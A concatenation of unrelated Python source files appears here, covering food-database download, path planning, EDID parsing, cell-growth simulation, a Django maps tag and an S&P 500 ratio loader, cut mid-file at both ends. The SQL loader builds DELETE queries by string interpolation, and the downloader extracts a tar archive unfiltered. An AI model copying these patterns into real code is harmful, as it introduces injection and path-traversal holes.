self._add_job(requirement, "update") def remove(self, requirement): self._add_job(requirement, "remove") def upgrade(self): self.jobs.append(_Job([], "upgrade", None)) mcampodonico/FlavorConnect import requests import tempfile import os import tarfile fooddb_version = 'foodb_2020_4_7_csv' def download(save_path): """ Downloads and extract a tar.gz in a temporary directory and saves the directory in save_path :param save_path: specifies the location to save the directory :return: a folder with csv files related to food db """ fooddb_url = 'https://foodb.ca/public/system/downloads/' + fooddb_version + '.tar.gz' r = requests.get(fooddb_url, allow_redirects=True) # Exit system in case the url has been wrongly assign or if the url has change try: r.raise_for_status() except requests.exceptions.HTTPError as err: raise SystemExit(err) d = tempfile.TemporaryDirectory() local_tar = os.path.join(d.name,fooddb_version+'.tar.gz') open(local_tar, 'wb').write(r.content) tf = tarfile.open(local_tar) tf.extractall(os.path.join(save_path, 'foodb_2020_4_7_csv')) d.cleanup()# -*- coding: utf-8 -*- from cell_based_forward_search import CellBasedForwardSearch from collections import deque from greedy_planner import GreedyPlanner class GreedyRewiringPlanner(GreedyPlanner): def __init__(self, title, occupancyGrid): GreedyPlanner.__init__(self, title, occupancyGrid) def resolveDuplicate(self, cell, parentCell): newCost = parentCell.pathCost + self.computeLStageAdditiveCost(parentCell, cell) if cell.pathCost > newCost: cell.parent = parentCell cell.pathCost = newCost self._queue.updateCostOfCell(newCost, cell) # update the cost of this cell and decrease its key (ie. the cost in this case) from django.http import HttpResponse def helloworld(request): return HttpResponse('Hello World') """ A module to support simple 2D game development. This module is a simple wrapper around Kivy interfaces to make 2D game development simpler for students in CS 1110. Author: (wmw2) Date: August 1, 2017 (Python 3 version) """ from .gobject import GObject, GScene from .grectangle import GRectangle, GEllipse, GImage, GLabel from .gsprite import GSprite from .gpath import GPath, GTriangle, GPolygon from .gview import GInput, GView from .sound import Sound, SoundLibrary from .app import GameApp#!/usr/bin/env python # -*- coding: utf-8 -*- # ** # # ==================== # # ES_BLOCK_CONTROLLER # # ==================== # # Class for controlling the interactions blocks. # # @author ES # ** import logging from es_common.utils.qt import QtCore, QtGui from block_manager.controller.block_controller import BlockController from block_manager.model.block import Block from es_common.model.interaction_block import InteractionBlock from es_common.utils import block_helper from interaction_manager.controller.es_block_list_controller import ESBlockListWidget from interaction_manager.utils import config_helper class ESBlockController(BlockController): def __init__(self, parent_widget=None): super(ESBlockController, self).__init__(parent_widget) self.logger = logging.getLogger("ESBlock Controller") self.block_list_widget = ESBlockListWidget() # observe when new blocks are created from undo/redo operations block_helper.block_observers.add_observer(self.update_block_selected_observer) def update_block_selected_observer(self, block): if type(block) is Block: # disable settings icon block.content.settings_icon.setEnabled(False) super(ESBlockController, self).update_block_selected_observer(block=block) def on_drop(self, event): # self.logger.debug("Drop event: {}".format(event.mimeData().text())) if event.mimeData().hasFormat(self.get_block_mime_type()): # clear selection self.scene.clear_selection() event_data = event.mimeData().data(self.get_block_mime_type()) data_stream = QtCore.QDataStream(event_data, QtCore.QIODevice.ReadOnly) item_pixmap = QtGui.QPixmap() data_stream >> item_pixmap try: op_code = data_stream.readInt() except Exception as e: self.logger.warning("'readInt' does not exist in QDataStream, using readInt64 instead. | {}".format(e)) op_code = data_stream.readInt64() item_text = data_stream.readQString() # check if the block has a "start" pattern and the scene already contains one: start_block = self.get_block(pattern="start") if "start" == item_text.lower() and start_block is not None: to_display = "The scene has already a start block! The drop is ignored." self.logger.warning(to_display) start_block.set_selected(True) self.start_block_observers.notify_all(to_display) event.ignore() else: mouse_position = event.pos() scene_position = self.get_scene_position(mouse_position) self.logger.debug("Item with: {} | {} | mouse: {} | scene pos: {}".format(op_code, item_text, mouse_position, scene_position)) # new interaction block self.create_interaction_block(title=item_text, pos=[scene_position.x(), scene_position.y()], pattern=item_text.lower()) # self.add_block(title=item_text, num_inputs=2, num_outputs=1, # pos=[scene_position.x(), scene_position.y()], # observer=self.on_block_selected) self.store("Added new {}".format(item_text)) event.setDropAction(QtCore.Qt.MoveAction) event.accept() else: self.logger.debug("*** drop ignored") event.ignore() def create_interaction_block(self, title, pos, pattern): num_inputs, num_outputs, output_edges = 0, 1, 1 icon, bg_color = (None,) * 2 patterns = config_helper.get_patterns() if pattern is not None and pattern.lower() in patterns: num_inputs = patterns[pattern.lower()]["inputs"] num_outputs = patterns[pattern.lower()]["outputs"] output_edges = patterns[pattern.lower()]["output_edges"] icon = patterns[pattern.lower()]["icon"] bg_color = patterns[pattern.lower()]["bg_color"] if "bg_color" in patterns[pattern.lower()].keys() else None else: pattern = "start" # TODO: create block from pattern interaction_block = InteractionBlock(name=title, pattern=pattern) interaction_block.block = self.add_block(title=title, num_in=num_inputs, num_out=num_outputs, pos=pos, observer=self.on_block_selected, parent=interaction_block, icon=icon, output_edges=output_edges, bg_color=bg_color) # editing/settings observers interaction_block.block.settings_observers.add_observer(self.on_block_settings) interaction_block.block.editing_observers.add_observer(self.on_block_editing) # disable settings icon interaction_block.block.content.settings_icon.setEnabled(False) return interaction_block # -*- coding: utf-8 -*- """ Created on Sat Jun 30 10:21:50 2018 @author: Prosimios """ import numpy as np import matplotlib.pyplot as plt import time import matplotlib #modify some matplotlib parameters to manage the images for illustrator matplotlib.rcParams['pdf.fonttype'] = 42 matplotlib.rcParams['ps.fonttype'] = 42 def show_grid(grid_array): plt.figure() plt.imshow(grid_array, cmap=plt.cm.gray) plt.show() def select_cell(grid): # 2 = growing cell # 1 = stationary cell # 0 = empty space #this rule makes each cell divide only one time per step g_index = np.nonzero(grid == 2) # growth index = where cell value == 2 #choose a random cell in the dividing state index_pos = int(np.random.rand(1)[0]*g_index[0].shape[0]) m = g_index[0][index_pos] n = g_index[1][index_pos] #save the cell grid index positions cell_index = [m,n] return(cell_index) def check_nbhd(grid, cell_index): #chek free spaces in the neighbourhood # fs: array # index of free spaces in the neighborhood m = cell_index[0] n = cell_index[1] #define the neighborhood nb = grid[m-1:m+2,n-1:n+2] #nb = neighborhood #define the free spaces in nb fs = np.where(nb == 0) return(fs) def nb_prob(grid, cell_index, prob_dist = 'contact_linear'): # assign division probabilities based on empty space cell contacts # prob_dist: uniform - contact_linear - contact_exp # contact linear is the default or if another thing is written # fs: array # index of free spaces in the neighborhood # return # prob: list # list with the [0,1] probability partition limit of each free space # e.g. prob = [0.23, 0.81, 1] --> second cell has bigger probability m = cell_index[0] n = cell_index[1] #define neighborhood nb = grid[m-1:m+2,n-1:n+2] #nb = neighborhood #define the free spaces in nb fs = np.where(nb == 0) #define cell spaces in bn cs = np.where(nb != 0) fs_num = len(fs[0]) prob = np.zeros(fs_num) contacts = np.zeros(fs_num) if prob_dist != 'uniform': # if prob_dist is something different from the options, contact_linear is the default for i in range(fs_num): mg = m + fs[0][i] - 1 #-1 to convert [0 1 2] to [-1 0 1] ng = n + fs[1][i] - 1 i_nb = grid[mg-1:mg+2,ng-1:ng+2] # i position neighborhood occup = np.where(i_nb != 0) contacts[i] = len(occup[0]) #save the number of contacts of this position if prob_dist == 'contact_exp': contacts = np.exp(contacts) else: contacts = np.ones(fs_num) #assign uniform values total = sum(contacts) prob[0] = (contacts[0]/total) for i in range(1,fs_num): prob[i] = prob[i-1]+contacts[i]/total return(prob) def cell_divition_uniform(grid, cell_index, fs): # uniform neighborhood divition probability #fs: free neighborhood spaces m = cell_index[0] n = cell_index[1] if len(fs[0]) == 1: grid[m,n] = 1 # then, that position will not divide again #grown over an empty position #new_pos = int(np.random.rand(1)[0]*fs[0].shape[0]) new_pos = int(np.random.rand(1)[0]*fs[0].shape[0]) #new pos in the neighbour matrix m_new = m + fs[0][new_pos] - 1 #-1 to convert [0 1 2] to [-1 0 1] n_new = n + fs[1][new_pos] - 1 grid[m_new, n_new] = 2 # crates the new cell ncell_index = [m_new ,n_new] return(grid, ncell_index) def cell_divition(grid, cell_index, fs, fs_proba): #fs: free neighborhood spaces #fs_proba: free spaces growth probabilities m = cell_index[0] n = cell_index[1] if len(fs[0]) == 1: grid[m,n] = 1 # then, that position will not divide again #grown over an empty position rand_val = np.random.rand(1)[0] # find the first position which is bigger than rand_val new_pos = np.where( (fs_proba > rand_val) == True )[0][0] #new pos in the neighbour matrix m_new = m + fs[0][new_pos] - 1 #-1 to convert [0 1 2] to [-1 0 1] n_new = n + fs[1][new_pos] - 1 grid[m_new, n_new] = 2 # crates the new cell ncell_index = [m_new ,n_new] return(grid, ncell_index) def initial_plasmids(grid, pattern_num = 0, num_plas = 2, max_copy = 4): # grid: initial grid c_index = np.nonzero(grid) # c_index, #cell_number = c_index[0].shape[0] gs = grid.shape pattern = np.zeros((gs[0],gs[1],max_copy)) #initialize the pattern array # add different patterns if pattern_num == 0: #random plasmid pattern for i in range(c_index[0].shape[0]): #assign a random plasmid pattern to each cell position pattern[c_index[0][i],c_index[1][i],:] = ((num_plas +1 )*np.random.rand(max_copy)).astype(int) #num_plas +1 to add "no-plasmid" state elif pattern_num == 1: pattern = np.ones((grid.shape)) return(pattern) def role_divideFlag(plasmids): #plasmids: cell plasmids vector max_plasmids = plasmids.shape[0] num_plasmids = np.nonzero(plasmids)[0].shape[0] divisor = max_plasmids*1.1 #arbitrary defined to make division(max_plasmids number) < 1 # make a cuadratic function of probabilities probability = (num_plasmids/divisor)**2 #if a cell has no plasmids --> will not divide if np.random.rand(1) < probability: return(1) # divide else: return(0) # not divide #Probability tables #plasmid_nums = np.arange(max_plasmids +1) #probability = (plasmid_nums/divisor)**2 def create_image(grid, plasgrid): im_s = plasgrid.shape aux_imR = np.zeros((im_s[0],im_s[1],im_s[2])) aux_imG = np.zeros((im_s[0],im_s[1],im_s[2])) for i in range(im_s[2]): aux_imR[:,:,i] = 1*(plasgrid[:,:,i]==1) aux_imG[:,:,i] = 1*(plasgrid[:,:,i]==2) aux_imR = np.sum(aux_imR,axis=2) aux_imG = np.sum(aux_imG,axis=2) aux_transparency = 0.5*(grid[:,:]==1) + 1*(grid[:,:]==2) # create the image im_grid = np.zeros((im_s[0],im_s[1],im_s[2])) im_grid[:,:,0] = np.multiply(np.ones((im_s[0],im_s[1])),aux_imR) im_grid[:,:,1] = np.multiply(np.ones((im_s[0],im_s[1])),aux_imG) #im_grid[:,:,2] = np.ones((100,100))*250 im_grid[:,:,3] = np.multiply(np.ones((im_s[0],im_s[1])),aux_transparency) # stationary cell -> transparency = 0.5) return(im_grid) def create_image2(grid, plasgrid): im_s = plasgrid.shape aux_imR = np.zeros((im_s[0],im_s[1],im_s[2])) aux_imG = np.zeros((im_s[0],im_s[1],im_s[2])) for i in range(im_s[2]): aux_imR[:,:,i] = 1*(plasgrid[:,:,i]==1) aux_imG[:,:,i] = 1*(plasgrid[:,:,i]==2) aux_imR = np.multiply(1*(np.sum(aux_imR,axis=2)>0),50*(grid[:,:]==1)) + 1*(np.sum(aux_imR,axis=2)>0) aux_imG = np.multiply(1*(np.sum(aux_imG,axis=2)>0),50*(grid[:,:]==1)) + 1*(np.sum(aux_imG,axis=2)>0) # create the image im_grid = np.zeros((im_s[0],im_s[1],3)) im_grid[:,:,0] = np.multiply(np.ones((im_s[0],im_s[1])),aux_imR) im_grid[:,:,1] = np.multiply(np.ones((im_s[0],im_s[1])),aux_imG) #im_grid[:,:,2] = np.ones((100,100))*250 return(im_grid) def plasmid_gProb(g_ratio=[1,1], p_types = [1,2]): #define a growtn probability (=velocity) based on the plasmids #g_ratio: ratio of growth rate between genotypes (i.e. plasmids) #p_types: plasmids types or labels #built the probability class vector cat_len = len(g_ratio) probs = np.zeros(cat_len) denominator = sum(g_ratio) probs[0] = g_ratio[0]/denominator for i in range(1,cat_len): probs[i] = probs[i-1]+g_ratio[i]/denominator return(probs) def plasm_g_test(plasmids,probs): #perform the probability test rand_val = np.random.rand(1) #random value growth = False ptypes = np.unique(plasmids[np.where(plasmids>0)]) #plasmid types in the vector if ptypes.size == 1: #if has one type of plasmid #determine the first position > random value pos = np.where( (probs > rand_val) == True )[0][0] growth_type = pos + 1 #to transform position to the corresponding plasmid type #found = np.where(plasmids == ptype)[0] #ptotal = np.where(plasmids > 0)[0] #total num plasmids #pdif = ptotal.size - found.size if growth_type == ptypes: growth = True #if found.size>0: else: #if has more than one type of plasmid mean_prob = probs[-1]/probs.size #mean plasmid probability if rand_val < mean_prob: growth = True return(growth) def cell_ratio(plasmgrid, ptype = [1,2]): c_num_plasm = np.sum(plasmgrid>0, axis=2) #number of plasmids in each grid plasm_sum = np.sum(plasmgrid, axis = 2) divition = np.divide(plasm_sum,c_num_plasm) #total = np.sum(np.isnan(divition) == False, axis = (0,1)) #it include cells with mix plasmids found = np.zeros(len(ptype)) total = 0 for i in range(len(ptype)): found[i] = len(np.where(divition == ptype[i])[0]) total += found[i] ratio = found[0]/total return(ratio) def plasmid_update(plasmids, pos_index): #plasmids: vector with plasmids. e.g [0,1,1,0,2] state = 2 # cell state = growing state plasmids_pos = np.nonzero(plasmids) empty_pos = np.where(plasmids == 0) num_plas = plasmids_pos[0].shape[0] if num_plas == 0: #it means no plasmid in the cell state = 1 #to not evaluate this cell in the loop again elif num_plas == plasmids.shape[0]: #it means all plasmids positions are full return(plasmids, state) else: copied_pos = np.random.randint(num_plas) plasmids[empty_pos[0][0]] = plasmids[plasmids_pos[0][copied_pos]] #copy the plasmid in the first free space return(plasmids, state) def divide_plasmids(plasmids): #plasmids: cell plasmids p_size = plasmids.size mother_p = np.zeros(p_size) child_p = np.zeros(p_size) np.random.shuffle(plasmids) #shuffle the plasmids if (p_size & 1) == 1: #odd case #sum a random value to choose which cell keep more plasmids rand_val = np.random.rand(1) half_p = int(p_size/2 + rand_val) else: #even case half_p = int(p_size/2) mother_p[:half_p] = plasmids[:half_p] child_p[half_p:]= plasmids[half_p:] return(mother_p, child_p) def initial_pattern(grid, pattern_num): pattern = {} #initiate initial pattern dictionary # add different patterns pattern[0] = np.array([[2]]) pattern[1] = np.array([[0, 0, 2, 0, 0],[0,2,2,2,0],[2,2,1,2,2],[0,2,2,2,0],[0,0,2,0,0]]) pattern[2] = np.ones((2,35))*2 #make elements which are not in the border to be = 1 fixed_pat = pattern[pattern_num] #put the pattern in the grid gs = grid.shape m0 = int(gs[0]/2) n0 = int(gs[1]/2) ps = fixed_pat.shape mpm = int(ps[0]/2) npm = int(ps[1]/2) for i in range(ps[0]): for j in range(ps[1]): m = m0 + (i - mpm) n = n0 + (j - npm) grid[m,n] = fixed_pat[i,j] return(grid) edid_json_tools/standard_timings.py # Copyright 2014 The Chromium OS Authors. All rights reserved. # Copyright (c) 2019-2021 The EDID JSON Tools authors. All rights reserved. # # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # # SPDX-License-Identifier: BSD-3-Clause """Provides the StandardTiming class with methods for parsing info. StandardTiming objects are found in bytes 26h-35h of the base EDID, as well as in StandardTimingDescriptor objects. """ from typing import Final from . import error from .typing import ByteList, EdidVersion def GetStandardTiming(edid, start_index, version): """Check if a potential standard timing block is valid. Args: edid: The EDID being parsed. start_index: The starting index of the standard timing block. version: The EDID version. Returns: A StandardTiming object, if valid; else, None. """ if edid[start_index] == edid[start_index + 1] == 0x01: # All 0x01: unused return None return StandardTiming(edid, start_index, version) # Used in base EDID as well as StandardTimingDescriptors class StandardTiming(object): """Defines a single supported Standard Timing and its properties.""" def __init__(self, edid: ByteList, start_index: int, version: EdidVersion): """Create a StandardTiming object. Args: edid: The list form of the EDID being analyzed. start_index: An integer indicating the start index of Standard Timing objects. version: The version of the EDID. """ self._block: Final[ByteList] = edid[start_index : start_index + 2] self._version: Final[EdidVersion] = version def GetBlock(self) -> ByteList: """Fetch the data block of the StandardTiming object. Returns: A list of bytes that make up this StandardTiming object. """ return self._block @property def x_resolution(self) -> int: """Fetch x resolution. Returns: An integer indicating x resolution. """ return (self._block[0] + 31) * 8 def CheckErrors(self, index=None) -> error.OptionalErrorList: """Check if the x resolution is faulty. Args: index: The integer index of this StandardTiming object. Returns: A list of error.Error objects. """ st_index = "#%d" % index if index else "" if self._block[0] == 0: return [ error.Error( "Standard Timing object %s" % st_index, "X resolution unset/invalid - possibly indicating " '"unused" in a non-compliant way', "256-2288 pixels", "Value of 0 (converts to 248)", ) ] else: return None @property def xy_pixel_ratio(self) -> str: """Fetch the xy pixel ratio. Returns: A string that indicates xy pixel ratio. """ pixel_ratio = "" code = (self._block[1] >> 6) & 0x03 if code == 0x0: pixel_ratio = "1:1" if self._version < "1.3" else "16:10" elif code == 0x1: pixel_ratio = "4:3" elif code == 0x2: pixel_ratio = "5:4" else: pixel_ratio = "16:9" return pixel_ratio @property def vertical_freq(self) -> int: """Fetch the vertical frequency. Actual frequency is 60 more than the value stored in the EDID. Returns: An integer indicating vertical frequency (in Hz). """ return (self._block[1] & 0x3F) + 60 import logging def hillclimb(init_function,move_operator,objective_function,max_evaluations): ''' hillclimb until either max_evaluations is reached or we are at a local optima ''' best=init_function() best_score=objective_function(best) num_evaluations=1 logging.info('hillclimb started: score=%f',best_score) while num_evaluations < max_evaluations: # examine moves around our current position move_made=False for next in move_operator(best): if num_evaluations >= max_evaluations: break # see if this move is better than the current next_score=objective_function(next) num_evaluations+=1 if next_score > best_score: best=next best_score=next_score move_made=True break # depth first search if not move_made: break # we couldn't find a better move (must be at a local maximum) logging.info('hillclimb finished: num_evaluations=%d, best_score=%f',num_evaluations,best_score) return (num_evaluations,best_score,best) def hillclimb_and_restart(init_function,move_operator,objective_function,max_evaluations): ''' repeatedly hillclimb until max_evaluations is reached ''' best=None best_score=0 num_evaluations=0 while num_evaluations < max_evaluations: remaining_evaluations=max_evaluations-num_evaluations logging.info('(re)starting hillclimb %d/%d remaining',remaining_evaluations,max_evaluations) evaluated,score,found=hillclimb(init_function,move_operator,objective_function,remaining_evaluations) num_evaluations+=evaluated if score > best_score or best is None: best_score=score best=found return (num_evaluations,best_score,best) from pbalign.utils.tempfileutil import TempFileManager import unittest from os import path def keep_writing_to_file(fn): """Keep writing a to a file.""" f = open(fn, 'w') while True: # Keep writing a to a file, # note that this function will never end unless # being killed by the main process. f.write('a') class Test_TempFileManager(unittest.TestCase): def test_init(self): """Test TempFileManager all functions.""" t = TempFileManager() t.SetRootDir("/scratch") newFN = t.RegisterNewTmpFile() self.assertTrue(path.isfile(newFN)) existingDir = t.RegisterExistingTmpFile("/tmp", isDir=True) self.assertTrue(path.isdir(existingDir)) with self.assertRaises(IOError) as cm: t.RegisterExistingTmpFile("filethatdoesnotexist") newDN = t.RegisterNewTmpFile(isDir=True) self.assertTrue(path.isdir(newDN)) self.assertTrue(t._isRegistered(newDN)) newTxt = t.RegisterNewTmpFile(suffix=".txt") self.assertTrue(newTxt.endswith(".txt")) t.SetRootDir("~/tmp/") t.CleanUp() self.assertFalse(path.exists(newFN)) self.assertFalse(path.exists(newDN)) self.assertEqual(t.fileDB, []) self.assertEqual(t.dirDB, []) # def test_CleanUp(self): # """Create a temp directory and register several tmp files. # Then, manually open another file under temp dir without # registering it. Finally, call CleanUp to delete temp dirs # and files. Note that by doing this, an nfs lock is created # manually, CleanUp should exit with a warning instead of an # error.""" # t = TempFileManager() # t.SetRootDir("/scratch") # newFN = t.RegisterNewTmpFile() # with open(newFN, 'w') as writer: # writer.write("x") # # newFN2 = t.RegisterNewTmpFile() # with open(newFN2, 'w') as writer: # writer.write("x") # # # Manually create a temp file under temp dir without register # rootDir = t.defaultRootDir # extraFN = path.join(t.defaultRootDir, 'extra_file.txt') # # Keep the file open while trying to Clean up temp dir. # from multiprocessing import Process # p = Process(target=keep_writing_to_file, args=(extraFN, )) # p.start() # self.assertTrue(p.is_alive()) # # t.CleanUp() # # self.assertFalse(path.exists(newFN)) # self.assertFalse(path.exists(newFN2)) # # self.assertTrue(p.is_alive()) # self.assertTrue(path.exists(extraFN)) # self.assertEqual(t.fileDB, []) # self.assertEqual(t.dirDB, []) # # p.terminate() # # import time # time.sleep(1) # import shutil # shutil.rmtree(rootDir) # if __name__ == "__main__": unittest.main() thekilian/Python-pratica0 ''' 040 - Crie um programa que leia duas notas de um aluno e calcule sua média, mostrando uma mensagem no final, de acordo com a média atingida: - média abaixo de 5.0: REPROVADO - média entre 5.0 e 6.9: RECUPERAÇÃO - média 7.0 ou superior: APROVADO ''' nota1 = float(input('Digite a primeira nota: ')) nota2 = float(input('Digite a segunda nota: ')) media = (nota1 + nota2) / 2 print('Você tirou {} e {}. Sua média é {}.'.format(nota1, nota2, media)) #if(media )# -*- coding: utf-8 -*- from django import template from django.core.exceptions import ImproperlyConfigured from classytags.core import Options from classytags.helpers import InclusionTag from classytags.arguments import Argument, IntegerArgument from ..conf import settings from ..models import Address register = template.Library() def parse_address(address=None): if isinstance(address, Address): return address if not address: return Address( latitude=settings.EASY_MAPS_CENTER[0], longitude=settings.EASY_MAPS_CENTER[1], ) return Address.objects.for_address(address) class EasyMapTag(InclusionTag): """ The syntax: {% easy_map
    [ ] [] [using ] %} The "address" parameter can be an ``easy_maps.Address`` instance or a string describing it. If an address is not found a new entry is created in the database. """ name = 'easy_map' template = 'easy_maps/map.html' options = Options( Argument('address', resolve=True, required=True), Argument('width', required=False, default=None), Argument('height', required=False, default=None), IntegerArgument('zoom', required=False, default=None), 'using', Argument('template_name', default=None, required=False), ) def render_tag(self, context, **kwargs): params = dict((k, v) for k, v in kwargs.items() if v and k not in ['template_name']) if 'address' in params and (len(params) == 2 or len(params) > 4): raise template.TemplateSyntaxError( "easy_map tag has the following syntax: " "{% easy_map
    [ ] [zoom] [using ] %}" ) if settings.EASY_MAPS_GOOGLE_KEY is None and settings.EASY_MAPS_GOOGLE_MAPS_API_KEY is None: raise ImproperlyConfigured( "easy_map tag requires EASY_MAPS_GOOGLE_KEY to be set in global settings " "because of the restrictions introduced in Google Maps API v3 by Google, Inc." ) return super(EasyMapTag, self).render_tag(context, **kwargs) def get_template(self, context, **kwargs): return kwargs.get('template_name', None) or self.template def get_context(self, context, **kwargs): kwargs.update({'map': parse_address(kwargs.pop('address'))}) if not kwargs.get('zoom', None): kwargs['zoom'] = settings.EASY_MAPS_ZOOM # default value kwargs['language'] = settings.EASY_MAPS_LANGUAGE kwargs['api_key'] = settings.EASY_MAPS_GOOGLE_KEY or settings.EASY_MAPS_GOOGLE_MAPS_API_KEY return kwargs register.tag(EasyMapTag) fzhang00/HFInvest # -*- coding: utf-8 -*- """ Created on Thu May 13 23:06:23 2021 @author: haoli """ import sys sys.path.append("../") import pandas as pd from datetime import datetime import pyodbc import numpy as np import win32com.client import os import ntpath from urllib.request import urlopen, Request import requests # import SP500_Ratios.const_guru_shiller as myguruShiller import const_guru_shiller as myguruShiller # import const_guru_shiller as myguruShiller import key as pconst _server = pconst.RYAN_SQL['server'] _username = pconst.RYAN_SQL['username'] _password = pconst.RYAN_SQL['password'] _database = 'SP500_Ratios' _sqlTable_SP500_Ratios_daily_sector_shillerPE = 'SP500_Ratios_daily_PE_sector_shillerPE' pd.set_option('mode.chained_assignment', None) #-------------------- def sql_guru_shillerRatio(df, dbName): df = df.replace({np.NAN: None}) df[df.columns[1]] = df[df.columns[1]].str.slice(0,21) cnxn = pyodbc.connect('DRIVER={ODBC Driver 17 for SQL Server};SERVER='+_server+';DATABASE='+_database+';UID='+_username+';PWD='+_password) cursor = cnxn.cursor() for index, row in df.iterrows(): dateStr = row[0] query = """DELETE FROM %s where Date = '%s' and [Sector] = '%s' and [ShillerPE] = %s and [RegulaPE] = %s ;""" % (dbName, dateStr, row[1], row[2], row[3]) cursor.execute(query) params = tuple(row) query = """INSERT INTO %s VALUES (?,?,?,? );""" %(dbName) cursor.execute(query, params) cnxn.commit() cursor.close() cnxn.close() def extrac_sql_guru_shillerRatio(csvFileFullPath, dbName): df1 = pd.read_csv(csvFileFullPath) df2 = df1.dropna(how='all') df = df2.iloc[1:-1, :] df.columns = df1.columns df[df.columns[0]] = pd.to_datetime(df[df.columns[0]] , format='%Y-%m-%d') for col in df.columns[2:]: df[col] = pd.to_numeric(df[col], errors='coerce')#,downcast= 'integer') # a = df.columns[0] df = df.replace({np.NAN: None}) df = df.sort_values(by = df.columns[0], ascending=False) df.to_csv('guru_sp500Shiller_new.csv', index = False) for colName, coldata in df.iteritems(): if 'unnamed' in colName.lower(): pass else: sectorName = colName i = df.columns.get_loc(colName) # rows = 1 to last, col sector + 1 df_data = df.iloc[ 1:-1 , [0, i, i+1]] df_data.insert(1, 'Sector', sectorName) # print (i) # dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE sql_guru_shillerRatio(df, dbName) # csvFileFullPath = myguruShiller.SP500_Ratios_dir_ShillerPE +'/GuruFocus_Sector_Shiller_PE_Historical_Data.xls.csv' # sql_guru_shillerRatio(csvFileFullPath) # print() def extrac_sql_guru_shillerRatio2(csvFileFullPath, dbName, saveFileFullPath): df1 = pd.read_csv(csvFileFullPath) df2 = df1.dropna(how='all') df = df2.iloc[1:-1, :] df.columns = df1.columns df[df.columns[0]] = pd.to_datetime(df[df.columns[0]] , format='%Y-%m-%d') for col in df.columns[2:]: df[col] = pd.to_numeric(df[col], errors='coerce')#,downcast= 'integer') # a = df.columns[0] df = df.replace({np.NAN: None}) df = df.sort_values(by = df.columns[0], ascending=False) df.to_csv(saveFileFullPath, index = False) #-------sql--------------------- cnxn = pyodbc.connect('DRIVER={ODBC Driver 17 for SQL Server};SERVER='+_server+';DATABASE='+_database+';UID='+_username+';PWD='+_password) cursor = cnxn.cursor() #*****quick update********************* df = df.head(5) #****************************** for colName, coldata in df.iteritems(): if 'unnamed' in colName.lower(): pass else: sectorName = colName i = df.columns.get_loc(colName) # rows = 1 to last, col sector + 1 df_data = df.iloc[ : , [0, i, i+1]] df_data.insert(1, 'Sector', sectorName) df_data[df_data.columns[1]] = df_data[df_data.columns[1]].str.slice(0,21) print(sectorName) for index, row in df_data.iterrows(): #----comment out for fast operation----- dateStr = row[0] query = """DELETE FROM %s where Date = '%s' and [Sector] = '%s' and [ShillerPE] = %s and [RegulaPE] = %s ;""" % (dbName, dateStr, row[1], row[2], row[3]) cursor.execute(query) params = tuple(row) query = """INSERT INTO %s VALUES (?,?,?,? );""" %(dbName) cursor.execute(query, params) cnxn.commit() cursor.close() cnxn.close() # csvFileFullPath = myguruShiller.SP500_Ratios_dir_ShillerPE +'/GuruFocus_Sector_Shiller_PE_Historical_Data.xls.csv' # dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE # saveFileFullPath = myguruShiller.SP500_Ratios_dir_PE + '/guru_sp500_PE_SectorShiller_dailyUpdated.csv' # extrac_sql_guru_shillerRatio2(csvFileFullPath, dbName, saveFileFullPath) def excel_to_CSV_guru(fileFullPath): fileAbsPath = os.path.abspath(fileFullPath) winPath = fileAbsPath.replace(os.sep,ntpath.sep) xlApp = win32com.client.Dispatch('Excel.Application') xlApp.Visible = False xls = xlApp.Workbooks.Open(winPath) csvFileFullPath = winPath+".csv" if os.path.isfile( csvFileFullPath): os.remove( csvFileFullPath) print('file removed: ' + fileFullPath) xls.SaveAs( csvFileFullPath, FileFormat=6) # xls.close() xlApp.quit() return csvFileFullPath # fileFullPath = myguruShiller.SP500_Ratios_dir_ShillerPE +'/GuruFocus_Sector_Shiller_PE_Historical_Data.xls' # csvFileFullPath = excel_to_CSV_guru(fileFullPath) # print(csvFileFullPath) #-------donwload files------------------------------- def downloadExcelFile(targetDir, fileName, webAddress): # makeTodayDataDir(targetDir) newFilefullPath = targetDir + '/' + fileName if os.path.isfile(newFilefullPath): os.remove(newFilefullPath) print('file removed: ' + newFilefullPath) headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.3"} # reg_url = url req = Request(url = webAddress, headers = headers) html = urlopen(req).read() with open(newFilefullPath, 'wb') as outfile: outfile.write(html) print('Downloaded Guru sp500 shillerPE daily: ' + newFilefullPath) return newFilefullPath def guru_sp500_PE_shillerSector_daily(): targetDir = myguruShiller.SP500_Ratios_dir_ShillerPE fileName = datetime.today().strftime('%Y-%m-%d') +'_' + 'GuruFocus_Sector_Shiller_PE_Historical_Data.xls' webAddress = myguruShiller._Guru_shillerSector_URL newExcel_FilefullPath = downloadExcelFile(targetDir, fileName, webAddress) csvFileFullPath = excel_to_CSV_guru(newExcel_FilefullPath) # csvFileFullPath = myguruShiller.SP500_Ratios_dir_ShillerPE +'/GuruFocus_Sector_Shiller_PE_Historical_Data.xls.csv' dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE saveFileFullPath = myguruShiller.SP500_Ratios_dir_PE + '/guru_sp500_PE_SectorShiller_dailyUpdated.csv' extrac_sql_guru_shillerRatio2(csvFileFullPath, dbName, saveFileFullPath) # guru_sp500_PE_shillerSector_daily() #------------------------------------------ # url = myguruShiller._multpl_shillerTotal_URL # saveFileFullPath = myguruShiller.SP500_Ratios_dir_PE + '/Multpl_sp500_shiller_dailyUpdated.csv' # dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE def multpl_sp500Total_shillerPE_daily(url, saveFileFullPath, dbName): list0 = pd.read_html(url) df1 = list0[0] # Date May 14, 2021 df = pd.DataFrame() df['Date'] = pd.to_datetime(df1[df1.columns[0]] , format='%b %d, %Y') df['Sector'] = 'SP500' df['Shiller'] = pd.to_numeric(df1[df1.columns[1]], errors='coerce') df['Regular'] = None df = df.replace({np.NAN: None}) df = df.sort_values(by = df.columns[0], ascending=False) df4 = df.head(1) df4.to_csv(saveFileFullPath, mode='a', index = False, header=False) #-------sql--------------------- cnxn = pyodbc.connect('DRIVER={ODBC Driver 17 for SQL Server};SERVER='+_server+';DATABASE='+_database+';UID='+_username+';PWD='+_password) cursor = cnxn.cursor() #*****quick update********************* df = df.head(1) #****************************** for index, row in df.iterrows(): if row[0] < pd.to_datetime('1900-01-01', format='%Y-%m-%d'): break dateStr = row[0] query = """DELETE FROM %s where Date = '%s' and [Sector] = '%s' and [ShillerPE] = 